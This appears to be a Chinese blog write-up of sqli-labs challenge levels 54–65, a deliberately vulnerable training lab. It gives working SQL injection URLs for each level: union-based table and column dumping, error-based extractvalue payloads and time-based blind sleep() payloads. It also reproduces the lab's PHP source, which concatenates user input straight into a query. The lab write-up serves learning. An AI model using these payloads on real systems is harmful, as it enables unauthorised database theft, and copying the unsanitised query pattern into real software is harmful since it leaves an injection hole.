第四部分-Challenge

最新推荐文章于 2022-02-15 22:11:16 发布
最新推荐文章于 2022-02-15 22:11:16 发布
阅读量272 收藏
点赞数
分类专栏： # Sqllibs_master
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43901038/article/details/107345883
版权

文章目录

54.less54-Challenge-1

54.1、注入解析–十次刷新

在这里插入图片描述

源码中设置了一个times变量为10，用来控制注入的语句次数的，超过了这个次数，数据库中表名和密码等将会进行重置更新。

  • 1、获取数据库的表名：
http://192.168.10.208:8081/sqli-labs-master/Less-54/index.php?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

在这里插入图片描述
由上可得表名为 plmmlsw7pm 。

  • 2、获取数据库的列
http://192.168.10.208:8081/sqli-labs-master/Less-54/index.php?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges'and table_name='plmmlsw7pm'--+

如下，可以知道表的所有列为：id,sessid,secret_X2ZO,tryy
在这里插入图片描述

  • 3、尝试着对列名中的数据进行查看
http://192.168.10.208:8081/sqli-labs-master/Less-54/index.php?id=-1' union select 1,group_concat(id),group_concat(sessid) from plmmlsw7pm--+

在这里插入图片描述

http://192.168.10.208:8081/sqli-labs-master/Less-54/index.php?id=-1' union select 1,group_concat(secret_X2ZO),group_concat(tryy) from plmmlsw7pm--+

在这里插入图片描述
在这里我们知道了secret_X2ZO中存放着我们的密码，即密码为 LMowZDNDDp2WV4lP9G0zNGkr ，因此我们将密码在下买你的框中进行提交。
在这里插入图片描述
成功的截图一闪而过，我就不贴了，可自行测试欣赏成功的魅力！

如下，你成功了，数据库也成功更新了，呵，就是这么的现实。
在这里插入图片描述

54.2、代码赏析

由于不允许上传文件，所以我把基本上整段代码都复制过来，怎么说呢，值得好好研究一番吧，确实挺神奇的！

  • 比如，他这个数据库是怎么实现名字刷新的呢？
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-54:Challenge-1</title>
</head>

<body bgcolor="#000000">
<div style ="text-align:right">
<form action="" method="post">
<input  type="submit" name="reset" value="Reset the Challenge!" />
</form>
</div>
</right>
<div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">



<?php
//including the Mysql connect parameters.
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
error_reporting(0);
$pag = $_SERVER['PHP_SELF']; /*generating page address to piggy back after redirects...
								生成页面地址以便在重定向后装载……
								一般用来引用当前网页地址，并且它是系统自动生成的全局变量，*/
								
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; /*characterset for generating random data
								生成随机数据的字符集*/
$times= 10;
$table = table_name();
$col = column_name(1);/*session id column name
						会话ID列名称*/
$col1 = column_name(2);  /*secret key column name
						密钥列名称*/


// Submitting the final answer
if(!isset($_POST['answer_key']))//如果点击按钮提交的数据为空
{
	// resetting the challenge and repopulating the table .
	//重置挑战并重新填充桌子。
	if(isset($_POST['reset']))
	{
		setcookie('challenge', ' ', time() - 3600000);
		echo "<font size=4>You have reset the Challenge</font><br>\n";
		echo "Redirecting you to main challenge page..........\n";
		header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
		//echo "cookie expired";
			
	}
	else
	{
		// Checking the cookie on the page and populate the table with random value.
		if(isset($_COOKIE['challenge']))
		{
			$sessid=$_COOKIE['challenge'];
			//echo "Cookie value: ".$sessid;
		}
		else
		{
			$expire = time()+60*60*24*30;
			$hash = data($table,$col);
			setcookie("challenge", $hash, $expire);
			
		}
	
		echo "<br>\n";
	
		// take the variables
		if(isset($_GET['id']))
		{
			$id=$_GET['id'];
	
			//logging the connection parameters to a file for analysis.
			$fp=fopen('result.txt','a');
			fwrite($fp,'ID:'.$id."\n");
			fclose($fp);
	
			
			//update the counter in database
			next_tryy();
			
			//Display attempts on screen.
			$tryyy = view_attempts();
			echo "You have made : ". $tryyy ." of $times attempts";
			echo "<br><br><br>\n";
		
			
			//Reset the Database if you exceed allowed attempts.
			//如果超出允许的次数即10次，请重置数据库。
			if($tryyy >= ($times+1))
			{
				setcookie('challenge', ' ', time() - 3600000);
				echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
				echo "Redirecting you to challenge page..........\n";
				header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
				echo "<br>\n";
			}	
		
		
		
			// Querry DB to get the correct output
			$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
			$result=mysql_query($sql);
			$row = mysql_fetch_array($result);

			if($row)
			{
				echo '<font color= "#00FFFF">';	
				echo 'Your Login name:'. $row['username'];
				echo "<br>";
				echo 'Your Password:' .$row['password'];
				echo "</font>";
			}
			else 
			{
				echo '<font color= "#FFFF00">';
//				print_r(mysql_error());
				echo "</font>";  
			}
		}
		else
		{
			echo "Please input the ID as parameter with numeric value as done in  Lab excercises\n<br><br>\n</font>";
			echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
			echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
		}
	
	}
	

?>
</font> </div></br></br></br><center>
<img src="../images/Less-54.jpg" />
</center>
<br><br><br>
<div  style=" color:#00FFFF; font-size:18px; text-align:center">
<form name="input" action="" method="post">
Submit Secret Key: <input type="text" name="key">
<input type="submit" name = "answer_key" value="Submit">
</form> 
</div>


<?php

}

else
{
	echo '<div  style=" color:#00FFFF; font-size:18px; text-align:center">';
	$key = addslashes($_POST['key']);
	$key = mysql_real_escape_string($key);
	//echo $key;
	//Query table to verify your result
	$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
	//echo "$sql";
	$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());
	 
	$row = mysql_fetch_array($result);
	
	if($row)
	{
		echo '<font color= "#FFFF00">';
		echo "\n<br><br><br>";
		echo '<img src="../images/Less-54-1.jpg" />';
		echo "</font>"; 
		header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );	
	}
	else 
	{
		echo '<font color= "#FFFF00">';
		echo "\n<br><br><br>";
		echo '<img src="../images/slap1.jpg" />';
		header( "refresh:3;url=index.php" );
		//print_r(mysql_error());
		echo "</font>";  
			}	


}

?>

</body>
</html>

55.less55-Challenge-2

在这里插入图片描述
本关类似于less54，只是将闭合方式改为了 单引号 而已。

http://192.168.10.208:8081/sqli-labs-master/Less-55/index.php?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

在这里插入图片描述

56.less56-Challenge-3

在这里插入图片描述
本关类似于less54，只是将闭合方式改为了 单引号+括号 而已。

http://192.168.10.208:8081/sqli-labs-master/Less-56/index.php?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

在这里插入图片描述

57.less57-Challenge-4

在这里插入图片描述
本关类似于less54，只是将闭合方式改为了 双引号 而已。

http://192.168.10.208:8081/sqli-labs-master/Less-57/index.php?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

在这里插入图片描述

58.less58-Challenge-5

在这里插入图片描述
上面是58关与54 关的源码对比，我们可以看出执行sql语句后，58关没有返回数据库中的语句，所以我们这里不能使用union联合注入，这里使用的是报错注入。
在这里插入图片描述

从time也可以看出，这里的语句变成了5次，因此机会需要谨慎使用哦！

http://192.168.10.208:8081/sqli-labs-master/Less-58/index.php?id=-1'union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

在这里插入图片描述

59.less59-Challenge-6

在这里插入图片描述
与less58类似，只是闭合方式为 数字型 。

http://192.168.10.208:8081/sqli-labs-master/Less-59/index.php?id=-1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

在这里插入图片描述

60.less60-Challenge-7

在这里插入图片描述
与less58类似，只是闭合方式为 双引号+括号 。

http://192.168.10.208:8081/sqli-labs-master/Less-60/index.php?id=-1") union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

在这里插入图片描述

61.less61-Challenge-8

在这里插入图片描述
与less58类似，只是闭合方式为 单引号+括号+括号 。

http://192.168.10.208:8081/sqli-labs-master/Less-61/index.php?id=-1')) union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

在这里插入图片描述

62.less62-Challenge-9

在这里插入图片描述
如上可见，注入次数time改为了130次。
在这里插入图片描述在这里插入图片描述

如图，可见本关与less58类似，但闭合方式为 单引号+括号 ，数据库的错误信息也不进行输出，因此无法进行报错注入；再加上并没有显示数据库中的信息，因此无法进行union注入。

所以最后我们应该使用的是延时注入。

http://192.168.10.208:8081/sqli-labs-master/Less-62/?id=1%27)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(5))--+

在这里插入图片描述

http://192.168.10.208:8081/sqli-labs-master/Less-62/?id=1%27)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=80,0,sleep(5))--+

在这里插入图片描述

63.less63-Challenge-10

在这里插入图片描述\

如图，可见本关与less63类似，但闭合方式为 单引号 ，数据库的错误信息也不进行输出，因此无法进行报错注入；再加上并没有显示数据库中的信息，因此无法进行union注入。所以也是只能利用延时注入。

http://192.168.10.208:8081/sqli-labs-master/Less-63/?id=1%27and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(5))--+

在这里插入图片描述

64.Less-64-Challenge-11

在这里插入图片描述
如图，可见本关与less63类似，但闭合方式为 括号 ，数据库的错误信息也不进行输出，因此无法进行报错注入；再加上并没有显示数据库中的信息，因此无法进行union注入。所以也是只能利用延时注入。

http://192.168.10.208:8081/sqli-labs-master/Less-64/?id=1))and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(5))--+

在这里插入图片描述

65.Less-65-Challenge-12

在这里插入图片描述

如图，可见本关与less63类似，但闭合方式为 双引号+括号 ，数据库的错误信息也不进行输出，因此无法进行报错注入；再加上并没有显示数据库中的信息，因此无法进行union注入。所以也是只能利用延时注入。

http://192.168.10.208:8081/sqli-labs-master/Less-65/?id=1”)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(5))--+
xor0ne_10_01
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
SQLi-labs 注入 54-75关
感恩
09-19 327
SQLi-labs 注入 54-75关
TGS-Salt-Identification-Challenge-2018-_4th_place_solution：Kaggle TGS盐识别挑战赛2018第四名
02-20
这是我在Kaggle.com主办的第四名解决方案中我的一部分的源代码。 最近更新 2018.11.06 ：拼图python代码，手工规则的肮脏代码和伪标签训练代码已更新。 2018.10.22 ：更新了单一模型训练代码。 2018.10.20 ：我们...
SQL注入学习part06：(结合sqli-libs学习：51-61关）
Q_U_A_R_T_E_R的博客
08-06 192
写在前面： 此博客仅用于记录个人学习进度，学识浅薄，若有错误观点欢迎评论区指出。欢迎各位前来交流。（部分材料来源网络，若有侵权，立即删除） SQL注入学习part06
SQLi-Labs 学习笔记（Less 51-65）
Onlyme的博客
03-11 1077
点击打开链接Less-51本关的Sql语句为：[plain] view plain copy$sql="SELECT * FROM users ORDER BY '$id'";  因为此处用的是执行多个针对数据库的查询函数：mysqli_multi_query()，因此我们采用 Stacked injection，构建payload：[plain] view plain copyhttp://lo...
SQLI-LAB  的 实战记录(Less 54 - Less 65)
这块盾牌有待改良
07-22 3788
Less - 54 Challenge-1 Less - 55 Challenge-2 Less - 56 Challenge-3 Less - 57 Challenge-4
【sqli-labs】 less62 GET -Challenge -Blind -130 queries allowed -Variation1 (GET型 挑战 盲注 只允许130次查询 变化1)...
ajxi63204的博客
01-31 201
允许130次尝试，然后是个盲注漏洞，看来要单字符猜解了 加单引号，页面异常，但报错被屏蔽了 http://192.168.136.128/sqli-labs-master/Less-62/?id=1' 加注释符，说明不止是用单引号闭合 http://192.168.136.128/sqli-labs-master/Less-62/?id=1'%23 ...
Xctf--Web--Challenge--area Wp
Kanyun的博客
02-15 977
Xctf--Web--Challenge--area Wp1.baby_web其实还有第二种方法2.warmup 1.baby_web > 题目描述：想想初始页面是哪个 思路： 先进入网页，看到url为http://111.200.241.244:59979/1.php 结合题目描述，初始页面应该是：index.php, 尝试修改url------>失败，又跳回到1.php 查看源码：没有发现什么，修改为index.php再次查看源码，在network中看到了 其实还有第二种方法 bp抓包，
code-challenge-4-front
04-09
【描述】"代码挑战4前"暗示这是一个系列挑战的第四部分，重点是构建前端部分。"无服务器大师-代码挑战4-Front React App"揭示了项目的核心技术——无服务器架构（Serverless）和React。无服务器架构是一种云计算模型...
Solution-Challenge
03-07
在"Solution-Challenge-main"这个文件名中，"main"通常表示程序的入口点，即`main()`函数，这是Dart程序执行的起点。因此，挑战可能要求你编写一个完整的Dart程序，从`main()`函数开始，逐步实现特定功能。 总之，...
python-challenge
04-07
1. **基础语法**：Python-Challenge的第一部分通常涵盖基本语法，包括变量赋值、数据类型（如整型、浮点型、字符串、布尔型）、列表、元组、字典和集合的使用。学习者需要掌握如何创建、访问和修改这些数据结构。 2...
Leaflet-Challenge:第17周
03-17
【文件名称列表】：尽管没有具体的文件内容，"Leaflet-Challenge-main"可能包含以下内容： 1. HTML文件：用来构建网页结构，其中可能包含引入Leaflet库的链接和地图容器。 2. CSS文件：用于样式化地图和其他元素，使...
sqli-labs————Less-58
Fly_鹏程万里
05-22 945
Less-58源代码：&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt; &lt;html xmlns="http://www.w3.org/1999/xhtml"&gt; &lt;head&gt..
sqlmap刷sqllibs_04-过滤绕过-23-28
Xor0ne
07-29 1778
本篇文章中的一些过滤讲解大部分来自于我的另外一篇博客，如果不太清楚，可以移步： Sqllibs-Less23-28 每一关我都尽量试了一下，有些可以有些不太行，关于不太行的，我后续进阶玩法的时候再慢慢补上，如果您看到的时候我还没有补上，可能是我忘记了，可以私信催我一下啦！ 23、less23-Error Based-no comments 如上，可得本关过滤了注释符 # 和 - -。 在本关中类似于第一关，但是对于id进行了注释符的过滤，因此我们需要利用参数 - - tamper = versionedk
sqllib闯关攻略_01
Xor0ne
07-10 1610
1.Less_01 1.1、寻找报错点，观察闭合方式 在网站上不断地进行奇怪字符串添加看是否产生报错显示，报错后，再添加注释符查看是否还会报错。 http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1 http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1’ 【单引号】 http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1” 【双引
sqlmap刷sqllibs_03-header注入-17-22
Xor0ne
07-28 1192
17、less17-Update Query- Error based - String 在这一关中，uname参数经过了check_in()函数过滤，因此如果我们直接按照之前的进行过滤的话就会发现sqlmap很有可能会跑很久，这是因为uname不可注入，因此sqlmap就尝试这一切方法对他进行注入，所以时间花费很长。但是另外一个参数passwd并没有进行过滤，我们进行注入时就要指定参数。 本关同于第11关，具体语句不一一赘述了。 下面为sqlmap给出的payload： C:\Python27\sqlma
sql_libs第一关
Xor0ne
02-17 1052
第一关通关笔记：2019/6/16 低等级详解的相关网站：https://www.jianshu.com/p/078df7a35671 http://www.storysec.com/dvwa-sql-injection.html dvwa的闯关：https://www.freebuf.com/articles/web/120747.html BP:https://blog.csdn.ne...
sqlmap刷sqllibs_01-1-10
Xor0ne
07-27 934
在使用前，我们先大致介绍一下sqlmap可能的用处。 以下来自于： 版权声明：本文为CSDN博主「小明师傅」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。 原文链接：https://blog.csdn.net/qq_24030907/article/details/106541411 0、清除sqlmap缓存： 第一个办法：在C:\Users\dragoneyes.sqlmap\output，删除output里面的内容 第二个办法：sqlmap.py --purg
Sqli_libs--Less07-文件写入
Xor0ne
07-12 570
文章目录7.Less07--文件写入7.1、知识拓展7.1.1、Load_file()导出文件7.1.2、load_data-infile()文件导入数据库7.1.3、导入文件select……into outfile 'file_name'7.2、报错测试7.3、数据显示 7.Less07–文件写入 参考链接：MYSQL注入天书之导入导出介绍 7.1、知识拓展 如果执行以下命令产生把报错啥的，可能是权限问题，可参考文章： Mysql 命令 load data infile 权限问题 7.1.1、Load_f
苹果官方Accessory Interface Specification R28详解
它适用于所有想要开发与苹果设备兼容的第三方配件制造商。 2. 适用性：规定了此规格书适用于所有苹果设备的配件设计，包括但不限于iPhone、iPod和iPad。开发者需要遵循这些标准以确保其产品能够顺利通过苹果的认证...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值